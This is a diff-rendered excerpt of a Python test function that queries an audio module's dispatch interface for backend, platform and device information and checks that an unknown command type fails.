|
+
passed = 0
|
|
614
|
+
failed = 0
|
|
615
|
+
|
|
616
|
+
try:
|
|
617
|
+
# -- audio_info --
|
|
618
|
+
r = dispatch({"type": "audio_info"})
|
|
619
|
+
assert r["ok"], f"audio_info failed: {r}"
|
|
620
|
+
assert "platform" in r, f"audio_info missing platform: {r}"
|
|
621
|
+
assert "backend" in r, f"audio_info missing backend: {r}"
|
|
622
|
+
assert "default_sample_rate" in r, f"audio_info missing default_sample_rate: {r}"
|
|
623
|
+
print(f" audio_info: backend={r['backend']}, platform={r['platform']}, "
|
|
624
|
+
f"samplerate={r['default_sample_rate']}")
|
|
625
|
+
passed += 1
|
|
626
|
+
|
|
627
|
+
# -- audio_devices --
|
|
628
|
+
r = dispatch({"type": "audio_devices"})
|
|
629
|
+
if r["ok"]:
|
|
630
|
+
print(f" audio_devices: count={r['count']}, default_device={r['default_device']}")
|
|
631
|
+
for dev in r["devices"][:5]:
|
|
632
|
+
print(f" [{dev['id']}] {dev['name']} ({dev['channels']}ch, {dev['sample_rate']}Hz)"
|
|
633
|
+
f"{' *default*' if dev['is_default'] else ''}")
|
|
634
|
+
else:
|
|
635
|
+
print(f" audio_devices: {r.get('error', 'unknown error')} (no devices found, non-fatal)")
|
|
636
|
+
passed += 1
|
|
637
|
+
|
|
638
|
+
# -- dispatch unknown command --
|
|
639
|
+
r = dispatch({"type": "bogus"})
|
|
640
|
+
assert not r["ok"], f"unknown cmd should fail: {r}"
|
|
641
|
+
passed += 1
|
|
642
|
+
|
|
643
|
+
print(f"audio tests: {passed} passed, {failed} failed")
|
|
644
|
+
|
|
645
|
+
except Exception as exc:
|
|
646
|
+
failed += 1
|
|
647
|
+
print(f"audio tests FAILED: {exc}")
|
|
648
|
+
|
|
649
|
+
|
|
650
|
+
if __name__ == "__main__":
|
|
651
|
+
test_audio()
|